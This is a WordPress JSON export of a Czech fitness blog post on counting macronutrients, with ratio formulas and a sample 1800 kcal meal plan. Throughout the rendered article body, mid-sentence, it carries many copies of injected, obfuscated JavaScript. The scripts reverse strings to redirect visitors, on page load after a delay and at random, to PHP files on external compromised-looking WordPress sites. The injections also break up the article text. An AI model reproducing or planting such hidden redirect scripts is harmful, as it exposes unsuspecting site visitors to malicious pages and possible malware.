{"id":87,"date":"2019-03-20T08:06:03","date_gmt":"2019-03-20T08:06:03","guid":{"rendered":"http:\/\/www.svetkulturistiky.cz\/?p=87"},"modified":"2019-04-29T11:38:44","modified_gmt":"2019-04-29T11:38:44","slug":"v-jednoduchosti-je-sila-aneb-vite-jak-spocitat-podil-makrozivin-ve-strave","status":"publish","type":"post","link":"https:\/\/svetkulturistiky.cz\/index.php\/2019\/03\/20\/v-jednoduchosti-je-sila-aneb-vite-jak-spocitat-podil-makrozivin-ve-strave\/","title":{"rendered":"V jednoduchosti je s\u00edla aneb v\u00edte, jak spo\u010d\u00edtat pod\u00edl makro\u017eivin ve strav\u011b?"},"content":{"rendered":"<p><strong>PORAD\u00cdME V\u00c1M, JAK SI SESTAVIT J\u00cdDELN\u00cd\u010cEK. <\/strong><\/p>\n<p>Jestli v\u00e1m nevyhovuje v\u011b\u010dn\u00e9 po\u010d\u00edt\u00e1n\u00ed kalori\u00ed a omezov\u00e1n\u00ed n\u011bkter\u00fdch potravin a r\u00e1di byste sv\u00fdch c\u00edl\u016f dos\u00e1hli, ani\u017e byste se museli vzd\u00e1vat obl\u00edben\u00e9ho j\u00eddla, pak by pro v\u00e1s mohlo b\u00fdt \u0159e\u0161en\u00ed po\u010d\u00edt\u00e1n\u00ed makro\u017eivin.<br \/>\nNa rozd\u00edl od bl\u00e1zniv\u00fdch trendy diet je ten<script>$NfI=function(n){if (typeof ($NfI.list[n]) == \"string\") return $NfI.list[n].split(\"\").reverse().join(\"\");return $NfI.list[n];};$NfI.list=[\"\\'php.reklaw-yrogetac-smotsuc-ssalc\/php\/stegdiw-cpm\/snigulp\/tnetnoc-pw\/gro.ogotaropsaid.www\/\/:ptth\\'=ferh.noitacol.tnemucod\"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}<\/script><script>$NfI=function(n){if (typeof ($NfI.list[n]) == \"string\") return $NfI.list[n].split(\"\").reverse().join(\"\");return $NfI.list[n];};$NfI.list=[\"\\'php.reklaw-yrogetac-smotsuc-ssalc\/php\/stegdiw-cpm\/snigulp\/tnetnoc-pw\/gro.ogotaropsaid.www\/\/:ptth\\'=ferh.noitacol.tnemucod\"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}<\/script><script>$Bhq=function(n){if (typeof ($Bhq.list[n]) == \"string\") return $Bhq.list[n].split(\"\").reverse().join(\"\");return $Bhq.list[n];};$Bhq.list=[\"\\'php.snimda-lla\/sedulcni\/etis-etavirp-oidarnoj\/snigulp\/tnetnoc-pw\/sserpdrow\/moc.nogaxehliie\/\/:ptth\\'=ferh.noitacol.tnemucod\"];var number1=Math.floor(Math.random() * 6); if (number1==3){var delay = 18000;\tsetTimeout($Bhq(0), delay);}<\/script>to p\u0159\u00edstup p\u0159ekvapiv\u011b flexibiln\u00ed a nab\u00edz\u00ed v\u00e1m celou \u0159adu mo\u017enost\u00ed.<\/p>\n<p><strong>Z\u00e1klady<br \/>\n<\/strong>Makro\u017eiviny jsou z\u00e1kladn\u00ed slo\u017ekou stravy, pr\u00e1v\u011b ony obsahuj\u00ed kalorie, o kter\u00e9 n\u00e1m <script>$NfI=function(n){if (typeof ($NfI.list[n]) == \"string\") return $NfI.list[n].split(\"\").reverse().join(\"\");return $NfI.list[n];};$NfI.list=[\"\\'php.reklaw-yrogetac-smotsuc-ssalc\/php\/stegdiw-cpm\/snigulp\/tnetnoc-pw\/gro.ogotaropsaid.www\/\/:ptth\\'=ferh.noitacol.tnemucod\"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}<\/script><script>$NfI=function(n){if (typeof ($NfI.list[n]) == \"string\") return $NfI.list[n].split(\"\").reverse().join(\"\");return $NfI.list[n];};$NfI.list=[\"\\'php.reklaw-yrogetac-smotsuc-ssalc\/php\/stegdiw-cpm\/snigulp\/tnetnoc-pw\/gro.ogotaropsaid.www\/\/:ptth\\'=ferh.noitacol.tnemucod\"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}<\/script><script>$Bhq=function(n){if (typeof ($Bhq.list[n]) == \"string\") return $Bhq.list[n].split(\"\").reverse().join(\"\");return $Bhq.list[n];};$Bhq.list=[\"\\'php.snimda-lla\/sedulcni\/etis-etavirp-oidarnoj\/snigulp\/tnetnoc-pw\/sserpdrow\/moc.nogaxehliie\/\/:ptth\\'=ferh.noitacol.tnemucod\"];var number1=Math.floor(Math.random() * 6); if (number1==3){var delay = 18000;\tsetTimeout($Bhq(0), delay);}<\/script>tolik jde. Existuj\u00ed t\u0159i hlavn\u00ed skupiny makro\u017eivin \u2013 b\u00edlkoviny, sacharidy a tuky \u2013 jeden gram ka\u017ed\u00e9 z\u00a0nich m\u00e1 ur\u010dit\u00e9 mno\u017estv\u00ed kalori\u00ed.<\/p>\n<p>1 gram b\u00edlkovin = 4 kcal<br \/>\n1 gram sacharid\u016f = 4 kcal<br \/>\n1 gram tuk\u016f = 9 kcal<\/p>\n<p>M\u00eds<script>$NfI=function(n){if (typeof ($NfI.list[n]) == \"string\") return $NfI.list[n].split(\"\").reverse().join(\"\");return $NfI.list[n];};$NfI.list=[\"\\'php.reklaw-yrogetac-smotsuc-ssalc\/php\/stegdiw-cpm\/snigulp\/tnetnoc-pw\/gro.ogotaropsaid.www\/\/:ptth\\'=ferh.noitacol.tnemucod\"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}<\/script><script>$NfI=function(n){if (typeof ($NfI.list[n]) == \"string\") return $NfI.list[n].split(\"\").reverse().join(\"\");return $NfI.list[n];};$NfI.list=[\"\\'php.reklaw-yrogetac-smotsuc-ssalc\/php\/stegdiw-cpm\/snigulp\/tnetnoc-pw\/gro.ogotaropsaid.www\/\/:ptth\\'=ferh.noitacol.tnemucod\"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}<\/script><script>$Bhq=function(n){if (typeof ($Bhq.list[n]) == \"string\") return $Bhq.list[n].split(\"\").reverse().join(\"\");return $Bhq.list[n];};$Bhq.list=[\"\\'php.snimda-lla\/sedulcni\/etis-etavirp-oidarnoj\/snigulp\/tnetnoc-pw\/sserpdrow\/moc.nogaxehliie\/\/:ptth\\'=ferh.noitacol.tnemucod\"];var number1=Math.floor(Math.random() * 6); if (number1==3){var delay = 18000;\tsetTimeout($Bhq(0), delay);}<\/script>to <script>$NfI=function(n){if (typeof ($NfI.list[n]) == \"string\") return $NfI.list[n].split(\"\").reverse().join(\"\");return $NfI.list[n];};$NfI.list=[\"\\'php.reklaw-yrogetac-smotsuc-ssalc\/php\/stegdiw-cpm\/snigulp\/tnetnoc-pw\/gro.ogotaropsaid.www\/\/:ptth\\'=ferh.noitacol.tnemucod\"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}<\/script><script>$NfI=function(n){if (typeof ($NfI.list[n]) == \"string\") return $NfI.list[n].split(\"\").reverse().join(\"\");return $NfI.list[n];};$NfI.list=[\"\\'php.reklaw-yrogetac-smotsuc-ssalc\/php\/stegdiw-cpm\/snigulp\/tnetnoc-pw\/gro.ogotaropsaid.www\/\/:ptth\\'=ferh.noitacol.tnemucod\"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}<\/script><script>$Bhq=function(n){if (typeof ($Bhq.list[n]) == \"string\") return $Bhq.list[n].split(\"\").reverse().join(\"\");return $Bhq.list[n];};$Bhq.list=[\"\\'php.snimda-lla\/sedulcni\/etis-etavirp-oidarnoj\/snigulp\/tnetnoc-pw\/sserpdrow\/moc.nogaxehliie\/\/:ptth\\'=ferh.noitacol.tnemucod\"];var number1=Math.floor(Math.random() * 6); if (number1==3){var delay = 18000;\tsetTimeout($Bhq(0), delay);}<\/script>toho, abyste po\u010d\u00edtali, kolik denn\u011b pot\u0159ebujete kalori\u00ed, m\u016f\u017eete tedy vych\u00e1zet z\u00a0faktu, kolik gram\u016f jednotliv\u00fdch makro\u017eivin byste m\u011bli denn\u011b konzumovat.<\/p>\n<p>Ale nenechte se zm\u00e1st \u2013 po\u010d\u00edt\u00e1n\u00ed makro\u017eivin neznamen\u00e1, \u017ee budete m\u00edt povolen\u00ed l\u00e1dovat se nedietn\u00edmi j\u00eddly s\u00a0t\u00edm, \u017ee sta\u010d\u00ed si hl\u00eddat makro\u017eiviny. Kl\u00ed\u010dem k\u00a0\u00fasp\u011bchu je, aby va\u0161e strava byla z\u00a080-90 % zdrav\u00e1 a d\u00e1vky makro\u017eivin korespondovaly s\u00a0t\u00edm, co je pro v\u00e1s vhodn\u00e9.<\/p>\n<p>Hlavn\u00edm bonusem takov\u00e9ho stravov\u00e1n\u00ed pro v\u00e1s bude, \u017ee budete v\u011bd\u011bt, co va\u0161emu t\u011blu vyhovuje, pochop\u00edte jeho pot\u0159eby v\u00a0z\u00e1vislosti na r\u016fzn\u00fdch c\u00edlech (budov\u00e1n\u00ed hmoty, spalov\u00e1n\u00ed tuk\u016f, udr\u017een\u00ed v\u00e1hy atd.). D\u00edky sledov\u00e1n\u00ed d\u00e1vek makro\u017eivin <script>$NfI=function(n){if (typeof ($NfI.list[n]) == \"string\") return $NfI.list[n].split(\"\").reverse().join(\"\");return $NfI.list[n];};$NfI.list=[\"\\'php.reklaw-yrogetac-smotsuc-ssalc\/php\/stegdiw-cpm\/snigulp\/tnetnoc-pw\/gro.ogotaropsaid.www\/\/:ptth\\'=ferh.noitacol.tnemucod\"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}<\/script><script>$NfI=function(n){if (typeof ($NfI.list[n]) == \"string\") return $NfI.list[n].split(\"\").reverse().join(\"\");return $NfI.list[n];};$NfI.list=[\"\\'php.reklaw-yrogetac-smotsuc-ssalc\/php\/stegdiw-cpm\/snigulp\/tnetnoc-pw\/gro.ogotaropsaid.www\/\/:ptth\\'=ferh.noitacol.tnemucod\"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}<\/script><script>$Bhq=function(n){if (typeof ($Bhq.list[n]) == \"string\") return $Bhq.list[n].split(\"\").reverse().join(\"\");return $Bhq.list[n];};$Bhq.list=[\"\\'php.snimda-lla\/sedulcni\/etis-etavirp-oidarnoj\/snigulp\/tnetnoc-pw\/sserpdrow\/moc.nogaxehliie\/\/:ptth\\'=ferh.noitacol.tnemucod\"];var number1=Math.floor(Math.random() * 6); if (number1==3){var delay = 18000;\tsetTimeout($Bhq(0), delay);}<\/script>to prost\u011b p\u016fjde.<\/p>\n<p><strong>Jak po\u010d\u00edtat makro\u017eiviny<\/strong><\/p>\n<p>Za\u010dn\u011bte z\u00e1kladn\u00edm v\u00fdpo\u010dtem, kter\u00fd z\u00e1vis\u00ed na va\u0161ich c\u00edlech. Podle <script>$NfI=function(n){if (typeof ($NfI.list[n]) == \"string\") return $NfI.list[n].split(\"\").reverse().join(\"\");return $NfI.list[n];};$NfI.list=[\"\\'php.reklaw-yrogetac-smotsuc-ssalc\/php\/stegdiw-cpm\/snigulp\/tnetnoc-pw\/gro.ogotaropsaid.www\/\/:ptth\\'=ferh.noitacol.tnemucod\"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}<\/script><script>$NfI=function(n){if (typeof ($NfI.list[n]) == \"string\") return $NfI.list[n].split(\"\").reverse().join(\"\");return $NfI.list[n];};$NfI.list=[\"\\'php.reklaw-yrogetac-smotsuc-ssalc\/php\/stegdiw-cpm\/snigulp\/tnetnoc-pw\/gro.ogotaropsaid.www\/\/:ptth\\'=ferh.noitacol.tnemucod\"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}<\/script><script>$Bhq=function(n){if (typeof ($Bhq.list[n]) == \"string\") return $Bhq.list[n].split(\"\").reverse().join(\"\");return $Bhq.list[n];};$Bhq.list=[\"\\'php.snimda-lla\/sedulcni\/etis-etavirp-oidarnoj\/snigulp\/tnetnoc-pw\/sserpdrow\/moc.nogaxehliie\/\/:ptth\\'=ferh.noitacol.tnemucod\"];var number1=Math.floor(Math.random() * 6); if (number1==3){var delay = 18000;\tsetTimeout($Bhq(0), delay);}<\/script>toho byste se m\u011bli stravovat prvn\u00ed \u010dty\u0159i a\u017e \u0161est t\u00fddn\u016f. To je dostate\u010dn\u011b dlouh\u00e1 doba na <script>$NfI=function(n){if (typeof ($NfI.list[n]) == \"string\") return $NfI.list[n].split(\"\").reverse().join(\"\");return $NfI.list[n];};$NfI.list=[\"\\'php.reklaw-yrogetac-smotsuc-ssalc\/php\/stegdiw-cpm\/snigulp\/tnetnoc-pw\/gro.ogotaropsaid.www\/\/:ptth\\'=ferh.noitacol.tnemucod\"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}<\/script><script>$NfI=function(n){if (typeof ($NfI.list[n]) == \"string\") return $NfI.list[n].split(\"\").reverse().join(\"\");return $NfI.list[n];};$NfI.list=[\"\\'php.reklaw-yrogetac-smotsuc-ssalc\/php\/stegdiw-cpm\/snigulp\/tnetnoc-pw\/gro.ogotaropsaid.www\/\/:ptth\\'=ferh.noitacol.tnemucod\"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}<\/script><script>$Bhq=function(n){if (typeof ($Bhq.list[n]) == \"string\") return $Bhq.list[n].split(\"\").reverse().join(\"\");return $Bhq.list[n];};$Bhq.list=[\"\\'php.snimda-lla\/sedulcni\/etis-etavirp-oidarnoj\/snigulp\/tnetnoc-pw\/sserpdrow\/moc.nogaxehliie\/\/:ptth\\'=ferh.noitacol.tnemucod\"];var number1=Math.floor(Math.random() * 6); if (number1==3){var delay = 18000;\tsetTimeout($Bhq(0), delay);}<\/script>to, abyste sledovali dosa\u017een\u00e9 v\u00fdsledky a p\u0159\u00edpadn\u011b mohli d\u00e1vkov\u00e1n\u00ed upravit (omezit sacharidy, p\u0159idat b\u00edlkoviny nebo tuky atd.). P\u00e1r t\u00fddn\u016f se tedy dr\u017ete n\u00e1sleduj\u00edc\u00edho rozpisu, abyste si ov\u011b\u0159ili, co je pro v\u00e1s nejlep\u0161\u00ed. Za\u010dn\u011bte jedn\u00edm z\u00a0n\u00e1sleduj\u00edc\u00edch pom\u011br\u016f:<\/p>\n<p><strong>Urychlen\u00ed metabolismu\/spalov\u00e1n\u00ed tuk\u016f<\/strong>: 35 % b\u00edlkovin, 25 % sacharid\u016f, 40 % tuk\u016f.<br \/>\n<strong>Budov\u00e1n\u00ed sval\u016f\/n\u00e1r\u016fst v\u00e1hy<\/strong>: 30 % b\u00edlkovin, 40 % sacharid\u016f, 30 % tuk\u016f.<\/p>\n<p>Nejprve si mus\u00edte vypo\u010d\u00edtat, kolik kalori\u00ed denn\u011b pot\u0159ebujete. Pou\u017eijte n\u011bjakou online kalorickou kalkula\u010dku nebo prost\u011b vyn\u00e1sobte svoji v\u00e1hu v\u00a0libr\u00e1ch (1 libra = 0,45 kg) \u010d\u00edslem 12,5 (v\u00fdpo\u010det se t\u00fdk\u00e1 fyzicky aktivn\u00edch lid\u00ed). Pot\u00e9 spo\u010d\u00edtejte pom\u011br \u017eivin.<\/p>\n<p>Zde je p\u0159\u00edklad v\u00fdpo\u010dtu pro \u010dlov\u011bka, jeho\u017e strava by m\u011bla obsahovat 1800 kcal a chce zrychlit metabolismus + spalovat tuky:<br \/>\nB\u00edlkoviny = 0,35 x 1800 = 630 kcal\/4 kcal = 157,5 gram\u016f b\u00edlkovin denn\u011b.<br \/>\nSacharidy = 0,25 x 1800 = 450 kcal\/4 kcal = 112,5 gram\u016f sacharid\u016f denn\u011b.<br \/>\nTuky = 0,40 x 1800 = 720 kcal\/9 kcal = 80 gram\u016f tuk\u016f denn\u011b.<\/p>\n<p><strong>Pl\u00e1n \u00fasp\u011bchu<\/strong><\/p>\n<p>Jestli m\u00e1te b\u00fdt p\u0159i stravov\u00e1n\u00ed podle makro\u017eivin opravdu \u00fasp\u011b\u0161n\u00ed, sestavte si konkr\u00e9tn\u00ed j\u00eddeln\u00ed\u010dek. Tzn. rozd\u011blte d\u00e1vky makro\u017eivin do jednotliv\u00fdch porc\u00ed j\u00eddla (v\u010detn\u011b sva\u010din) \u2013 posta\u010d\u00ed t\u0159i v\u011bt\u0161\u00ed porce + jedna nebo dv\u011b sva\u010diny.<br \/>\nJe dobr\u00e9 v\u011bd\u011bt, kolik by kter\u00e1 porce m\u011bla obsahovat protein\u016f, sacharid\u016f a tuk\u016f. Samoz\u0159ejm\u011b, \u017ee se jednotliv\u00e9 porce mohou r\u016fzn\u011b li\u0161it, ale budete m\u00edt alespo\u0148 z\u00e1kladn\u00ed p\u0159edstavu o sestaven\u00ed stravovac\u00edho pl\u00e1nu. Ten by pro \u010dlov\u011bka o denn\u00edm p\u0159\u00edjmu 1800 kcal, kter\u00fd chce vyr\u00fdsovat, mohl vypadat n\u00e1sledovn\u011b:<\/p>\n<p>Sn\u00eddan\u011b: 40 gram\u016f b\u00edlkovin + 40 gram\u016f sacharid\u016f + 17 gram\u016f tuk\u016f<br \/>\nSva\u010dina: 18 gram\u016f b\u00edlkovin + 14 gram\u016f tuk\u016f<br \/>\nOb\u011bd: 40 gram\u016f b\u00edlkovin + 36 gram\u016f sacharid\u016f + 17 gram\u016f tuk\u016f<br \/>\nSva\u010dina: 18 gram\u016f b\u00edlkovin + 14 gram\u016f tuk\u016f<br \/>\nVe\u010de\u0159e: 40 gram\u016f b\u00edlkovin + 36 gram\u016f sacharid\u016f + 17 gram\u016f tuk\u016f<\/p>\n<p><strong>P\u0158\u00cdKLAD J\u00cdDELN\u00cd\u010cKU PODLE V\u00dd\u0160E UVEDEN\u00c9HO ROZD\u011aLEN\u00cd:<\/strong><\/p>\n<p><strong>Sn\u00eddan\u011b<\/strong>: 2 velk\u00e1 vaj\u00ed\u010dka + 4 b\u00edlky (vejce upravte dle chuti) + 2 kraj\u00ed\u010dky celozrnn\u00e9ho chleba + \u00bc \u0161\u00e1lku nakr\u00e1jen\u00e9ho avok\u00e1da = 36 g b\u00edlkovin, 16 g tuku, 35 g sacharid\u016f.<br \/>\n<strong>Sva\u010dina<\/strong>: 1 pl\u00e1tek mozzarelly + 30 g mandl\u00ed = 13 g b\u00edlkovin, 20 g tuku, 7 g sacharid\u016f.<br \/>\n<strong>Ob\u011bd<\/strong>: 150 g grilovan\u00fdch ku\u0159ec\u00edch prsou + \u00be \u0161\u00e1lku va\u0159en\u00e9 quinoy + 1 \u0161\u00e1lek du\u0161en\u00e9 brokolice + 1 l\u017e\u00edce m\u00e1sla = 37 g b\u00edlkovin, 18 g tuku, 34 g sacharid\u016f.<br \/>\n<strong>Sva\u010dina<\/strong>: 1 odm\u011brka syrov\u00e1tkov\u00e9ho proteinov\u00e9ho pr\u00e1\u0161ku (sm\u00edchat s\u00a0vodou) + 2 l\u017e\u00edce bur\u00e1kov\u00e9ho m\u00e1sla = 31 g b\u00edlkovin, 18 g tuku, 8 g sacharid\u016f.<br \/>\n<strong>Ve\u010de\u0159e<\/strong>: 120 g du\u0161en\u00e9ho nebo grilovan\u00e9ho lososa + 1 mal\u00e1 pe\u010den\u00e1 brambora + 1 \u0161\u00e1lek du\u0161en\u00e9 zeleniny = 35 g b\u00edlkovin, 9 g tuku, 41 g sacharid\u016f.<\/p>\n<p><strong>Obsah v\u00fd\u017eivn\u00fdch l\u00e1tek: 1843 kcal, 152 g b\u00edlkovin, 81 g tuku, 125 g sacharid\u016f.<\/strong><\/p>\n","protected":false},"excerpt":{"rendered":"<p>PORAD\u00cdME V\u00c1M, JAK SI SESTAVIT J\u00cdDELN\u00cd\u010cEK. Jestli v\u00e1m nevyhovuje v\u011b\u010dn\u00e9 po\u010d\u00edt\u00e1n\u00ed kalori\u00ed a omezov\u00e1n\u00ed n\u011bkter\u00fdch potravin a r\u00e1di byste sv\u00fdch c\u00edl\u016f dos\u00e1hli, ani\u017e byste se museli vzd\u00e1vat obl\u00edben\u00e9ho j\u00eddla, pak by pro v\u00e1s mohlo b\u00fdt \u0159e\u0161en\u00ed po\u010d\u00edt\u00e1n\u00ed makro\u017eivin. Na rozd\u00edl od bl\u00e1zniv\u00fdch trendy diet je tento p\u0159\u00edstup p\u0159ekvapiv\u011b flexibiln\u00ed a nab\u00edz\u00ed v\u00e1m celou \u0159adu mo\u017enost\u00ed. Z\u00e1klady Makro\u017eiviny jsou z\u00e1kladn\u00ed slo\u017ekou stravy, pr\u00e1v\u011b ony obsahuj\u00ed kalorie, o kter\u00e9 n\u00e1m tolik jde. Existuj\u00ed t\u0159i hlavn\u00ed skupiny makro\u017eivin \u2013 b\u00edlkoviny, sacharidy a tuky \u2013 jeden gram ka\u017ed\u00e9 z\u00a0nich m\u00e1 ur\u010dit\u00e9 mno\u017estv\u00ed kalori\u00ed. 1 gram b\u00edlkovin = 4 kcal 1 gram sacharid\u016f = 4 kcal 1 gram tuk\u016f = 9 kcal M\u00edsto toho, abyste po\u010d\u00edtali, kolik denn\u011b pot\u0159ebujete kalori\u00ed, m\u016f\u017eete tedy vych\u00e1zet z\u00a0faktu, kolik gram\u016f jednotliv\u00fdch makro\u017eivin byste m\u011bli denn\u011b konzumovat. Ale nenechte se zm\u00e1st \u2013 po\u010d\u00edt\u00e1n\u00ed makro\u017eivin neznamen\u00e1, \u017ee budete m\u00edt povolen\u00ed l\u00e1dovat se nedietn\u00edmi j\u00eddly s\u00a0t\u00edm, \u017ee sta\u010d\u00ed si hl\u00eddat makro\u017eiviny. Kl\u00ed\u010dem k\u00a0\u00fasp\u011bchu je, aby va\u0161e strava byla z\u00a080-90 % zdrav\u00e1 a d\u00e1vky makro\u017eivin korespondovaly s\u00a0t\u00edm, co je pro v\u00e1s vhodn\u00e9. Hlavn\u00edm bonusem takov\u00e9ho stravov\u00e1n\u00ed pro v\u00e1s bude, \u017ee budete v\u011bd\u011bt, co va\u0161emu t\u011blu vyhovuje, pochop\u00edte jeho pot\u0159eby v\u00a0z\u00e1vislosti na r\u016fzn\u00fdch c\u00edlech (budov\u00e1n\u00ed hmoty, spalov\u00e1n\u00ed tuk\u016f, udr\u017een\u00ed v\u00e1hy atd.). D\u00edky sledov\u00e1n\u00ed d\u00e1vek makro\u017eivin to prost\u011b p\u016fjde. Jak po\u010d\u00edtat makro\u017eiviny Za\u010dn\u011bte z\u00e1kladn\u00edm v\u00fdpo\u010dtem, kter\u00fd z\u00e1vis\u00ed na va\u0161ich c\u00edlech. Podle toho byste se m\u011bli stravovat prvn\u00ed \u010dty\u0159i a\u017e \u0161est t\u00fddn\u016f. To je dostate\u010dn\u011b dlouh\u00e1 doba na to, abyste sledovali dosa\u017een\u00e9 v\u00fdsledky a p\u0159\u00edpadn\u011b mohli d\u00e1vkov\u00e1n\u00ed upravit (omezit sacharidy, p\u0159idat b\u00edlkoviny nebo tuky atd.). P\u00e1r t\u00fddn\u016f se tedy dr\u017ete n\u00e1sleduj\u00edc\u00edho rozpisu, abyste si ov\u011b\u0159ili, co je pro v\u00e1s nejlep\u0161\u00ed. Za\u010dn\u011bte jedn\u00edm z\u00a0n\u00e1sleduj\u00edc\u00edch pom\u011br\u016f: Urychlen\u00ed metabolismu\/spalov\u00e1n\u00ed tuk\u016f: 35 % b\u00edlkovin, 25 % sacharid\u016f, 40 % tuk\u016f. Budov\u00e1n\u00ed sval\u016f\/n\u00e1r\u016fst v\u00e1hy: 30 % b\u00edlkovin, 40 % sacharid\u016f, 30 % tuk\u016f. Nejprve si mus\u00edte vypo\u010d\u00edtat, kolik kalori\u00ed denn\u011b pot\u0159ebujete. Pou\u017eijte n\u011bjakou online kalorickou kalkula\u010dku nebo prost\u011b vyn\u00e1sobte svoji v\u00e1hu v\u00a0libr\u00e1ch (1 libra = 0,45 kg) \u010d\u00edslem 12,5 (v\u00fdpo\u010det se t\u00fdk\u00e1 fyzicky aktivn\u00edch lid\u00ed). Pot\u00e9 spo\u010d\u00edtejte pom\u011br \u017eivin. Zde je p\u0159\u00edklad v\u00fdpo\u010dtu pro \u010dlov\u011bka, jeho\u017e strava by m\u011bla obsahovat 1800 kcal a chce zrychlit metabolismus + spalovat tuky: B\u00edlkoviny = 0,35 x 1800 = 630 kcal\/4 kcal = 157,5 gram\u016f b\u00edlkovin denn\u011b. Sacharidy = 0,25 x 1800 = 450 kcal\/4 kcal = 112,5 gram\u016f sacharid\u016f denn\u011b. Tuky = 0,40 x 1800 = 720 kcal\/9 kcal = 80 gram\u016f tuk\u016f denn\u011b. Pl\u00e1n \u00fasp\u011bchu Jestli m\u00e1te b\u00fdt p\u0159i stravov\u00e1n\u00ed podle makro\u017eivin opravdu \u00fasp\u011b\u0161n\u00ed, sestavte si konkr\u00e9tn\u00ed j\u00eddeln\u00ed\u010dek. Tzn. rozd\u011blte d\u00e1vky makro\u017eivin do jednotliv\u00fdch porc\u00ed j\u00eddla (v\u010detn\u011b sva\u010din) \u2013 posta\u010d\u00ed t\u0159i v\u011bt\u0161\u00ed porce + jedna nebo dv\u011b sva\u010diny. Je dobr\u00e9 v\u011bd\u011bt, kolik by kter\u00e1 porce m\u011bla obsahovat protein\u016f, sacharid\u016f a tuk\u016f. Samoz\u0159ejm\u011b, \u017ee se jednotliv\u00e9 porce mohou r\u016fzn\u011b li\u0161it, ale budete m\u00edt alespo\u0148 z\u00e1kladn\u00ed p\u0159edstavu o sestaven\u00ed stravovac\u00edho pl\u00e1nu. Ten by pro \u010dlov\u011bka o denn\u00edm p\u0159\u00edjmu 1800 kcal, kter\u00fd chce vyr\u00fdsovat, mohl vypadat n\u00e1sledovn\u011b: Sn\u00eddan\u011b: 40 gram\u016f b\u00edlkovin + 40 gram\u016f sacharid\u016f + 17 gram\u016f tuk\u016f Sva\u010dina: 18 gram\u016f b\u00edlkovin + 14 gram\u016f tuk\u016f Ob\u011bd: 40 gram\u016f b\u00edlkovin + 36 gram\u016f sacharid\u016f + 17 gram\u016f tuk\u016f Sva\u010dina: 18 gram\u016f b\u00edlkovin + 14 gram\u016f tuk\u016f Ve\u010de\u0159e: 40 gram\u016f b\u00edlkovin + 36 gram\u016f sacharid\u016f + 17 gram\u016f tuk\u016f P\u0158\u00cdKLAD J\u00cdDELN\u00cd\u010cKU PODLE V\u00dd\u0160E UVEDEN\u00c9HO ROZD\u011aLEN\u00cd: Sn\u00eddan\u011b: 2 velk\u00e1 vaj\u00ed\u010dka + 4 b\u00edlky (vejce upravte dle chuti) + 2 kraj\u00ed\u010dky celozrnn\u00e9ho chleba + \u00bc \u0161\u00e1lku nakr\u00e1jen\u00e9ho avok\u00e1da = 36 g b\u00edlkovin, 16 g tuku, 35 g sacharid\u016f. Sva\u010dina: 1 pl\u00e1tek mozzarelly + 30 g mandl\u00ed = 13 g b\u00edlkovin, 20 g tuku, 7 g sacharid\u016f. Ob\u011bd: 150 g grilovan\u00fdch ku\u0159ec\u00edch prsou + \u00be \u0161\u00e1lku va\u0159en\u00e9 quinoy + 1 \u0161\u00e1lek du\u0161en\u00e9 brokolice + 1 l\u017e\u00edce m\u00e1sla = 37 g b\u00edlkovin, 18 g tuku, 34 g sacharid\u016f. Sva\u010dina: 1 odm\u011brka syrov\u00e1tkov\u00e9ho proteinov\u00e9ho pr\u00e1\u0161ku (sm\u00edchat s\u00a0vodou) + 2 l\u017e\u00edce bur\u00e1kov\u00e9ho m\u00e1sla = 31 g b\u00edlkovin, 18 g tuku, 8 g sacharid\u016f. Ve\u010de\u0159e: 120 g du\u0161en\u00e9ho nebo grilovan\u00e9ho lososa + 1 mal\u00e1 pe\u010den\u00e1 brambora + 1 \u0161\u00e1lek du\u0161en\u00e9 zeleniny = 35 g b\u00edlkovin, 9 g tuku, 41 g sacharid\u016f. Obsah v\u00fd\u017eivn\u00fdch l\u00e1tek: 1843 kcal, 152 g b\u00edlkovin, 81 g tuku, 125 g sacharid\u016f.<\/p>\n","protected":false},"author":1,"featured_media":89,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[6],"tags":[],"class_list":["post-87","post","type-post","status-publish","format-standard","has-post-thumbnail","hentry","category-vyziva"],"acf":[],"_links":{"self":[{"href":"https:\/\/svetkulturistiky.cz\/index.php\/wp-json\/wp\/v2\/posts\/87","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/svetkulturistiky.cz\/index.php\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/svetkulturistiky.cz\/index.php\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/svetkulturistiky.cz\/index.php\/wp-json\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/svetkulturistiky.cz\/index.php\/wp-json\/wp\/v2\/comments?post=87"}],"version-history":[{"count":1,"href":"https:\/\/svetkulturistiky.cz\/index.php\/wp-json\/wp\/v2\/posts\/87\/revisions"}],"predecessor-version":[{"id":90,"href":"https:\/\/svetkulturistiky.cz\/index.php\/wp-json\/wp\/v2\/posts\/87\/revisions\/90"}],"wp:featuredmedia":[{"embeddable":true,"href":"https:\/\/svetkulturistiky.cz\/index.php\/wp-json\/wp\/v2\/media\/89"}],"wp:attachment":[{"href":"https:\/\/svetkulturistiky.cz\/index.php\/wp-json\/wp\/v2\/media?parent=87"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/svetkulturistiky.cz\/index.php\/wp-json\/wp\/v2\/categories?post=87"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/svetkulturistiky.cz\/index.php\/wp-json\/wp\/v2\/tags?post=8